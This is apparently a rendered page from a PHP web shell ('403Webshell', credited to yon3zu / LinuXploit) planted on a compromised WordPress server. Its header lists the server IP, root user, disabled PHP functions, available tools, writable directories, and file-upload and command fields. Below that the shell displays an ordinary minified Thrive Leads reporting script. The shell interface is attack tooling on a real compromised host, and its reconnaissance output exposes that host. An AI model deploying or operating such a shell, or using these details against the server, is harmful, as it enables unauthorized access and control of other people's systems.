403Webshell
Server IP : 37.27.51.148  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/thrive-leads/admin/js-min/reporting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/thrive-leads/admin/js-min/reporting/views.min.js
window.ThriveLeads=window.ThriveLeads||{},ThriveLeads.views=ThriveLeads.views||{},jQuery((function(){ThriveLeads.views.Reporting=Backbone.View.extend({el:jQuery("#tve-reporting"),$chart:jQuery("#tve-report-chart"),table_data:{},events:{"change #report_type":"changeChart","click .tve-submit-report-type":"changeChart","change .tve-chart-source-select":"changeChart","change .tve-chart-interval-select":"changeChart","change .tve-referral-type-select":"changeChart","change .tve-tracking-type-select":"changeChart","change .tve-source-type-select":"changeChart","change .tve-chart-date-select":"changeDate","click .tve-leads-clear-cache":"clearCacheStats","click .tl-inbound-link-builder":"inboundLinkBuilder","click .calendar-trigger-icon":"triggerDatepicker"},validateDate:function(e,t){"start"===e&&this.start_date!==t&&(this.start_date=t,this.changeChart()),"end"===e&&this.end_date!==t&&(this.end_date=t,this.changeChart())},changeDate:function(e){var t,a,i,r=new Date,s=1;switch(void 0!==e&&(s=parseInt(jQuery(e.target).val())),i=r.getFullYear()+"-"+("0"+(r.getMonth()+1)).slice(-2)+"-"+("0"+r.getDate()).slice(-2),this.$el.find(".tve-date-filter").hide(),s){case ThriveLeadsConst.date_intervals.last_7_days:a=(t=new Date(r.getTime()-6048e5)).getFullYear()+"-"+("0"+(t.getMonth()+1)).slice(-2)+"-"+("0"+t.getDate()).slice(-2);break;case ThriveLeadsConst.date_intervals.last_30_days:a=(t=new Date(r.getTime()-2592e6)).getFullYear()+"-"+("0"+(t.getMonth()+1)).slice(-2)+"-"+("0"+t.getDate()).slice(-2);break;case ThriveLeadsConst.date_intervals.this_month:a=r.getFullYear()+"-"+("0"+(r.getMonth()+1)).slice(-2)+"-01";break;case ThriveLeadsConst.date_intervals.last_month:a=r.getFullYear()+"-"+("0"+r.getMonth()).slice(-2)+"-01",i=r.getFullYear()+"-"+("0"+r.getMonth()).slice(-2)+"-30";break;case ThriveLeadsConst.date_intervals.this_year:a=r.getFullYear()+"-01-01";break;case ThriveLeadsConst.date_intervals.last_year:a=r.getFullYear()-1+"-01-01",i=r.getFullYear()-1+"-12-31";break;case ThriveLeadsConst.date_intervals.last_12_months:a=r.getFullYear()-1+"-"+("0"+(r.getMonth()+1)).slice(-2)+"-"+("0"+r.getDate()).slice(-2);break;case ThriveLeadsConst.date_intervals.custom_date_range:return void this.$el.find(".tve-date-filter").show()}this.start_date=a,this.end_date=i,this.$el.find("#tve-report-start-date").pickadate("picker").set("select",a),this.$el.find("#tve-report-end-date").pickadate("picker").set("select",i),this.changeChart()},triggerDatepicker:function(e){var t=jQuery(e.target),a=jQuery(t.attr("data-activates"));return jQuery(a).trigger("click"),!1},initialize:function(){var e=this;this.hide_source_views=["ConversionRate","ListGrowth","CumulativeListGrowth","ComparisonChart"],this.$form=this.$el.find("form"),this.$el.find(".tve_load_annotation").change(jQuery.proxy(this.load_annotation_change,this)),this.$el.find("#tve-report-start-date").pickadate({format:"yyyy-mm-dd",format_submit:"yyyy-mm-dd",onClose:function(){e.validateDate("start",e.$el.find("#tve-report-start-date").val())}}),this.$el.find("#tve-report-end-date").pickadate({format:"yyyy-mm-dd",format_submit:"yyyy-mm-dd",onClose:function(){e.validateDate("end",e.$el.find("#tve-report-end-date").val())}}),this.pagination=new ThriveLeads.views.Pagination({total:1,collection:{}}),TVE_Dash.showLoader(),this.changeDate()},load_annotation_change:function(){var e=jQuery(".tve_load_annotation"),t={action:"thrive_leads_backend_ajax",route:"globalSettingsAPI",field:e.attr("name"),value:e.is(":checked")?1:0,security:ThriveLeadsConst.security};jQuery.post(ajaxurl,t).always(jQuery.proxy(this.changeChart,this))},changeChart:function(){var e=this;TVE_Dash.showLoader(),jQuery.ajax({url:ThriveLeads.ajaxurl("action=thrive_leads_backend_ajax&route=report&security="+ThriveLeadsConst.security),data:this.getData(),dataType:"json",success:function(t){e.$(".chart-filter").removeClass("chart-filter"),(void 0===e.chartType||e.chartType&&e.chartType!==e.getChartType())&&e.drawChart(t.chart_data,t.chart_title),t.table_data&&(e.table_data=t.table_data),e.updateChart(t.chart_data,t.chart_title,t.chart_x_axis,t.chart_y_axis),e.getViewForType(),TVE_Dash.hideLoader()}})},drawChart:function(e,t){this.chartType=this.getChartType(),void 0!==e&&0===e.length&&"none"!==this.chartType?this.$el.find(".tve-chart-overlay").show():this.$el.find(".tve-chart-overlay").hide(),"none"!==this.chartType?"line"===this.chartType||"areaspline"===this.chartType?(-1!==this.hide_source_views.indexOf(this.getReportType())?this.$el.find(".tve-chart-source").hide():this.$el.find(".tve-chart-source").show(),this.$el.find("#tve-report-chart").show(),this.$el.find(".tve-chart-interval").show(),this.chart=new ThriveLeads.LineChart({title:t,data:e,renderTo:"tve-report-chart",type:this.chartType})):"pie"===this.chartType&&(this.$el.find(".tve-chart-source").hide(),this.$el.find(".tve-chart-interval").hide(),this.$el.find("#tve-report-chart").show(),this.chart=new ThriveLeads.PieChart({title:t,data:e,renderTo:"tve-report-chart"})):this.$el.find("#tve-report-chart").hide()},updateChart:function(e,t,a,i){if(void 0===this.chart&&this.drawChart(e),this.displayCustomFields(),"none"===this.chartType)return jQuery(".tve-chart-source").show(),jQuery(".tve-chart-interval").hide(),void jQuery("#tve-report-chart").html("");this.chart.set("data",e),this.chart.set("title",t),this.chart.set("x_axis",a),this.chart.set("y_axis",i),this.chart.redraw()},displayCustomFields:function(){"undefined"!=typeof data&&0===data.length&&"none"!==this.chartType?this.$el.find(".tve-chart-overlay").show():this.$el.find(".tve-chart-overlay").hide(),"areaspline"==this.chartType?this.$el.find("#tve-chart-annotations").show():this.$el.find("#tve-chart-annotations").hide(),"LeadReferral"===this.getReportType()?this.$el.find(".tve-referral-type").show():this.$el.find(".tve-referral-type").hide(),"LeadTracking"===this.getReportType()?this.$el.find(".tve-tracking-type").show():this.$el.find(".tve-tracking-type").hide(),"LeadSource"===this.getReportType()?this.$el.find(".tve-source-type").show():this.$el.find(".tve-source-type").hide(),-1!==this.hide_source_views.indexOf(this.getReportType())?this.$el.find(".tve-chart-source").hide():this.$el.find(".tve-chart-source").show()},getChartType:function(){switch(this.getReportType()){case"Conversion":case"ConversionRate":case"CumulativeConversion":return"line";case"ListGrowth":case"CumulativeListGrowth":return"areaspline";case"ComparisonChart":return"pie";case"LeadReferral":case"LeadTracking":case"LeadSource":return"none"}},getViewForType:function(){switch(ThriveLeads.objects.titleChanger.replaceFirst(this.getPageTitle()),this.getReportType()){case"Conversion":case"CumulativeConversion":case"ListGrowth":case"CumulativeListGrowth":return void 0===ThriveLeads.objects.ConversionView?ThriveLeads.objects.ConversionView=new ThriveLeads.views.ConversionReportList({collection:ThriveLeads.objects.ConversionReport,pagination:this.pagination,report_count_data:this.table_data.count_table_data}):(this.pagination.pageCount=Math.ceil(this.table_data.count_table_data/this.pagination.itemsPerPage),this.pagination.total_items=this.table_data.count_table_data,this.pagination.collection=ThriveLeads.objects.ConversionView.collection,this.pagination.changePage(null,1)),ThriveLeads.objects.ConversionView;case"ConversionRate":return void 0===ThriveLeads.objects.ConversionRateView?ThriveLeads.objects.ConversionRateView=new ThriveLeads.views.ConversionRateReportList({collection:ThriveLeads.objects.ConversionRateReport,pagination:this.pagination,report_count_data:this.table_data.count_table_data,report_average_rate:this.table_data.average_rate}):(ThriveLeads.objects.ConversionRateView.extra_fields={average_rate:this.table_data.average_rate},this.pagination.pageCount=Math.ceil(this.table_data.count_table_data/this.pagination.itemsPerPage),this.pagination.total_items=this.table_data.count_table_data,this.pagination.collection=ThriveLeads.objects.ConversionRateView.collection,this.pagination.changePage(null,1)),ThriveLeads.objects.ConversionRateView;case"ComparisonChart":return void 0===ThriveLeads.objects.ComparisonChartView?ThriveLeads.objects.ComparisonChartView=new ThriveLeads.views.ComparisonReportList({collection:ThriveLeads.objects.ComparisonReport,pagination:this.pagination,table_data:this.table_data}):(this.pagination.empty(),ThriveLeads.objects.ComparisonChartView.collection.reset(this.table_data),ThriveLeads.objects.ComparisonChartView.render()),ThriveLeads.objects.ComparisonChartView;case"LeadReferral":return void 0===ThriveLeads.objects.LeadReferralView?ThriveLeads.objects.LeadReferralView=new ThriveLeads.views.LeadReferralReportList({collection:ThriveLeads.objects.LeadReferralReport,pagination:this.pagination,report_count_data:this.table_data.count_table_data}):(this.pagination.pageCount=Math.ceil(this.table_data.count_table_data/this.pagination.itemsPerPage),this.pagination.total_items=this.table_data.count_table_data,this.pagination.collection=ThriveLeads.objects.LeadReferralView.collection,this.pagination.changePage(null,1)),ThriveLeads.objects.LeadReferralView;case"LeadTracking":return void 0===ThriveLeads.objects.LeadTrackingView?ThriveLeads.objects.LeadTrackingView=new ThriveLeads.views.LeadTrackingReportList({collection:ThriveLeads.objects.LeadTrackingReport,pagination:this.pagination,report_count_data:this.table_data.count_table_data}):(this.pagination.pageCount=Math.ceil(this.table_data.count_table_data/this.pagination.itemsPerPage),this.pagination.total_items=this.table_data.count_table_data,this.pagination.collection=ThriveLeads.objects.LeadTrackingView.collection,this.pagination.changePage(null,1)),ThriveLeads.objects.LeadTrackingView;case"LeadSource":return void 0===ThriveLeads.objects.LeadSourceView?ThriveLeads.objects.LeadSourceView=new ThriveLeads.views.LeadSourceReportList({collection:ThriveLeads.objects.LeadSourceReport,pagination:this.pagination,report_count_data:this.table_data.count_table_data}):(this.pagination.pageCount=Math.ceil(this.table_data.count_table_data/this.pagination.itemsPerPage),this.pagination.total_items=this.table_data.count_table_data,this.pagination.collection=ThriveLeads.objects.LeadSourceView.collection,this.pagination.changePage(null,1)),ThriveLeads.objects.LeadSourceView}},getData:function(){return this.$form.serialize()},getReportType:function(){return this.$el.find("#report_type").val()},getPageTitle:function(){return this.$el.find("#report_type option:selected").text()},render:function(){this.$el.find(".tve-setting-change").on("change",_.bind(this.globalSetting,this))},inboundLinkBuilder:function(){TVE_Dash.modal(ThriveLeads.views.lightbox.InboundLink,{title:ThriveLeads.const.translations.InboundLinkBuilder,"max-width":"80%",width:750,collection:ThriveLeads.objects.groups,model:new ThriveLeads.models.InboundLink})},toggleGlobalSettings:function(e){return jQuery(e.currentTarget).parents(".tve-global-settings").toggleClass("tve-expanded"),!1},globalSetting:function(e){var t=jQuery(e.currentTarget),a={action:"thrive_leads_backend_ajax",route:"globalSettingsAPI",field:t.attr("name"),value:t.attr("value"),security:ThriveLeadsConst.security};t.is('input[type="checkbox"]')&&!t.is(":checked")&&(a.value=0),this.globalSettings[a.field]=a.value,jQuery.post(ajaxurl,a)},clearCacheStats:function(){TVE_Dash.showLoader(),jQuery.post(ajaxurl,{action:"thrive_leads_backend_ajax",route:"clearCacheStatistics",security:ThriveLeadsConst.security},(function(){location.reload()}))}}),ThriveLeads.views.Pagination=Backbone.View.extend({el:jQuery(".tl-pagination"),template:TVE_Dash.tpl("pagination/view"),events:{"click a.page":"changePage"},currentPage:1,pageCount:1,pagesToDisplay:2,itemsPerPage:50,total_items:0,order_by:"",order_dir:"",collection:null,initialize:function(e){this.pageCount=Math.ceil(e.total/this.itemsPerPage),this.collection=e.collection},changePage:function(e,t){TVE_Dash.showLoader();var a=void 0===t?jQuery(e.currentTarget).attr("value"):parseInt(t),i=this.getFormData(),r=this;return i+="&"+jQuery.param({type:"table",page:a,itemsPerPage:this.itemsPerPage,order_by:this.order_by,order_dir:this.order_dir}),jQuery.ajax({url:ThriveLeads.ajaxurl("action=thrive_leads_backend_ajax&route=report&security="+ThriveLeadsConst.security),data:i,dataType:"json",success:function(e){r.currentPage=a,r.collection.reset(e),r.render(),TVE_Dash.hideLoader()}}),!1},getFormData:function(){return jQuery("#tve-reporting form").serialize()},empty:function(){this.$el.empty()},render:function(){return this.$el.html(this.template({currentPage:parseInt(this.currentPage),pageCount:parseInt(this.pageCount),pagesToDisplay:parseInt(this.pagesToDisplay),total_items:parseInt(this.total_items),itemsPerPage:this.itemsPerPage})),this}}),ThriveLeads.views.ReportingTableBase=Backbone.View.extend({el:jQuery("#tve-report-meta"),report_count_data:0,pagination:{},itemView:"",extra_fields:{},initialize:function(e){this.listenTo(this.collection,"reset",this.render),this.pagination=e.pagination,this.pagination.pageCount=Math.ceil(e.report_count_data/this.pagination.itemsPerPage),this.pagination.total_items=e.report_count_data,this.pagination.collection=this.collection,this.pagination.changePage(null,1),this.$el.html(this.template(this.extra_fields))},changeOrder:function(e){var t=jQuery(e.currentTarget).attr("data-order-by");if(t==this.pagination.order_by)switch(this.pagination.order_dir){case"DESC":this.pagination.order_dir="ASC";break;case"ASC":this.pagination.order_dir="",this.pagination.order_by="";break;case"":this.pagination.order_dir="DESC"}else this.pagination.order_by=t,this.pagination.order_dir="DESC";this.pagination.changePage(null,1)},addOne:function(e){var t=new ThriveLeads.views[this.itemView]({model:e});this.$el.find("#tve-table-items").append(t.render().el)},displayItems:function(){this.collection.each(this.addOne,this)},emptyList:function(){this.$el.find("#tve-table-items .tvd-collection-item").empty()},render:function(){return this.$el.html(this.template(this.extra_fields)),this.$el.find(".tve-table-sortable").on("click",jQuery.proxy(this.changeOrder,this)),this.displayItems(),this}}),ThriveLeads.views.ConversionReportItem=ThriveLeads.views.Base.extend({tagName:"li",className:"tvd-collection-item",template:TVE_Dash.tpl("reporting/conversion-report/item")}),ThriveLeads.views.ConversionReportList=ThriveLeads.views.ReportingTableBase.extend({template:TVE_Dash.tpl("reporting/conversion-report/list"),itemView:"ConversionReportItem"}),ThriveLeads.views.ConversionRateReportItem=ThriveLeads.views.Base.extend({tagName:"li",className:"tvd-collection-item",template:TVE_Dash.tpl("reporting/conversion-rate-report/item")}),ThriveLeads.views.ConversionRateReportList=ThriveLeads.views.ReportingTableBase.extend({template:TVE_Dash.tpl("reporting/conversion-rate-report/list"),itemView:"ConversionRateReportItem",extra_fields:{},initialize:function(e){this.extra_fields={average_rate:e.report_average_rate},ThriveLeads.views.ReportingTableBase.prototype.initialize.call(this,e)}}),ThriveLeads.views.ComparisonReportItem=ThriveLeads.views.Base.extend({tagName:"li",className:"tvd-collection-item",template:TVE_Dash.tpl("reporting/comparison-report/item")}),ThriveLeads.views.ComparisonReportList=ThriveLeads.views.ReportingTableBase.extend({template:TVE_Dash.tpl("reporting/comparison-report/list"),itemView:"ComparisonReportItem",initialize:function(e){e.pagination.empty(),this.collection.reset(e.table_data),this.render()}}),ThriveLeads.views.LeadReferralReportItem=ThriveLeads.views.Base.extend({tagName:"li",className:"tvd-collection-item",template:TVE_Dash.tpl("reporting/lead-referral-report/item")}),ThriveLeads.views.LeadReferralReportList=ThriveLeads.views.ReportingTableBase.extend({template:TVE_Dash.tpl("reporting/lead-referral-report/list"),itemView:"LeadReferralReportItem"}),ThriveLeads.views.LeadTrackingReportItem=ThriveLeads.views.Base.extend({tagName:"li",className:"tvd-collection-item",template:TVE_Dash.tpl("reporting/lead-tracking-report/item")}),ThriveLeads.views.LeadTrackingReportList=ThriveLeads.views.ReportingTableBase.extend({template:TVE_Dash.tpl("reporting/lead-tracking-report/list"),itemView:"LeadTrackingReportItem",displayItems:function(){this.collection.each(this.addOne,this);var e=jQuery(".tve-tracking-type-select option:selected").val();"all"!=e&&this.$el.find(".tve-tracking-field").not('[data-field-display="'+e+'"]').remove()}}),ThriveLeads.views.LeadSourceReportItem=ThriveLeads.views.Base.extend({tagName:"li",className:"tvd-collection-item",template:TVE_Dash.tpl("reporting/lead-source-report/item")}),ThriveLeads.views.LeadSourceReportList=ThriveLeads.views.ReportingTableBase.extend({template:TVE_Dash.tpl("reporting/lead-source-report/list"),itemView:"LeadSourceReportItem"})}));

Youez - 2016 - github.com/yon3zu
LinuXploit